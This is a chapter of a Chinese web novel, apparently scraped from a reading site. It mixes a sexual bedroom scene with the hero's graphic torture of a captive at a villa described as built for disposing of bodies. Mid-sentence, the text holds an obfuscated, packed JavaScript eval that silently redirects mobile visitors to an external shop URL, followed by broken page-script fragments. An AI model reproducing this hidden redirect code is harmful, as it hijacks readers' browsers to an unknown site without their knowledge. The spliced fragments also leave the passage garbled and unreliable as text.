“为什么要洗手?”陆斯延用另一只手协助自己穿上裤子,抬眸看向女孩,似是不解的问。
顾嘉怡则攥紧盖住半张小脸的被子,好心提醒道:“手脏。”
谁料,那人穿戴整齐后,竟抬起那只手晃了晃。
碰巧这时,几缕阳光透过白色窗帘缝隙,溢在骨节修长的手指上,丝丝亮光看的顾嘉怡想死。
可她正想把眼睛盖住时,竟看到那人当着她面做出了疯狂之举,一时间,顾嘉怡双眸瞪大,莫名而来的热气席卷全身。
随即,她急忙开口叫停:“别…,脏。”
“脏么?”陆斯延缓缓将手放下后,便笑着舔舔唇看向床上无地自容的女孩:“我觉得水挺好喝的。”
这下,顾嘉怡是真崩溃了。
心里大喊着老天爷!玉皇大帝!各路神仙!!
想问问为什么疯子,他还能进化成变态啊!这让顾嘉怡她以后怎么活啊!
她要哭死…
“你快漱漱口,那上面还有药呢。”顾嘉怡根本不敢看他,把被子盖到头上,闷声闷气的开口道。
可惜某人并不领情,边去浴室洗手边肆意回:“没有药,全是你的。”
水声响起,陆斯延他又开口说道:“老婆,我要出去一趟,大概半个小时能回来,你先睡一会儿。”
听到这话的顾嘉怡却没有回答,只顾躲在被子里装死。
直到男人洗完手,出来看了眼床上鼓起的小包笑着离开后,听见关门声的顾嘉怡她才从被子里出来。
随即,女孩连忙拿来手机,上网查着变态的三十个特征,疯批的终极进化,以及怎么帮助病娇控制病情……
查到最后,顾嘉怡头都大了,秀挺的鼻梁上都渗出了细密汗珠。
什么叫小巫见大巫。
此刻,她深有领会。
只因陆斯延他是又疯又病啊,恐怖的一批,甚至可以说,网上的那些病例连他一星半点都没赶上,这如何能让顾嘉怡不沮丧。
本来疯就很难控制了。
现在倒是好。
又加上一个变态了……
—————————
而被女孩时刻‘惦记’的男人并没走远。
因为陆斯延他没离开别墅,而是绕过假山喷泉去了后院打靶场。
不得不说一下,为什么陆老爷子会把这套房子留给自己小儿子,主要的原因就是因为这里,处理尸体很方便。
那时陆老爷子他便开始想,陆斯延娶妻生子的生活了,老爷子深知自己小儿子哪怕回国,手上血腥也不会间断。
但京市又不同于M国。
即使势力再大,有些事也不便放在明面上做,若是被陆斯延他四个叔伯的政敌给抓到,麻烦虽不大,处理起来却格外膈应人。
所以这套别墅,不只是陆老爷子送给陆斯延的婚房,更是留给他专门杀人用的。
包括别墅后面的狗场亦是…
此时后院,威尔和秦风正带着十几个弟兄坐在太阳伞下抽烟,其前方不远处,则跪着被绑住手脚的四个体型强健的男人。
他们嘴被胶带粘住,却还在不停发出求救的呜咽声,试图引起威尔等人的注意。
直到陆斯延他从远处走来,才得以短暂的平静。
而威尔和秦风等人见状,则连忙将烟头熄灭,站起身后齐齐喊了声:“老大。”
“就四个?”只见陆斯延单手插兜,站在被迫跪在地上的四人身前,睨视着他们。
走过来的秦风立马回答道:“老大,就他们四个。”
要不说手下弟兄多就是好,威尔他这时已把椅子放在陆斯延身旁,想来是伺候陆斯延,他都伺候出经验了。
而剩下弟兄也不甘示弱,去将那四人封在嘴上的胶带扯开。
“说说吧。”陆斯延坐在椅子上,他边用指腹转动戴在腕上的手串,边淡笑着望向跪在地上的四个男人:“对了,我耐心有限,一分钟够不够用?”
听到这话,跪在地上的那四人,却不约而同的低下了头。
说?
怎么敢说?
说了,只会死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14297981|152177||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的更惨…
见状,陆斯延眼底闪过一道森寒之色,就连嘴角噙着的那抹笑意都愈发狠戾。
可随即,他竟又慢条斯理站起身,取过旁边秦风手上的匕首,缓步走到跪在最中间的男人身前:“看来,你们的嘴都很硬,需要我来帮你们松松了。”
然而还不等这四人做出反应,甚至惊慌失色才堪堪刚要在脸上浮现时,陆斯延他便将手掌放在其中一人头顶,猛的一收后,迫使那人仰起了头。
顿时,那人吓到全身发颤,可张开嘴巴欲想求饶之际,陆斯延便俯身用刀尖从他右耳下横向划开皮肉。
啊啊啊!!
这是还未割到嘴巴时,那人发出的痛呼。
因为当刀尖在他左耳边停下后,他的嚎喊声又提高了几倍,但对陆斯延他来说亦是无用功。
可这人旁边的三人却都恐惧到了极点。
只因他们面对的是被彻底割开半张脸的恐惧,通过他们的视角,可以清晰看清同伴的牙齿、牙膛,以及翻涌而出的血液。
恶心、想吐
……
“瞧瞧,现在嘴松了,看着都舒服不少。”说着,陆斯延便松开那人。
只见他用指腹随意的转着刀柄,斜睨跪在脚边的另一个男人,笑问:“你需不需要我帮忙?”
“我说我说。”被点名这人被彻底吓傻了,疯狂开口求饶不说,竟还给陆斯延磕起头来了。
但显然某人没那个耐心看他表演,抬脚把他踹翻了:“三秒。”
三秒是什么意思,那人明白。
三秒不说。
他怕是也要被松松嘴了,亦或者还有更可怕的在等着他……
“陆总,陆总。”那人急忙顾涌着爬起来:“是您大哥手下的吴秘书安排我们这么做的,他派我们守在这的,说等您离开以后,让我们对您夫人动手。”
可惜他看不出陆斯延脸上的喜怒。
只听到一声:“给他打电话。”
话音刚落,秦风便走过去在那人身前蹲下,从他的口袋里翻找着手机。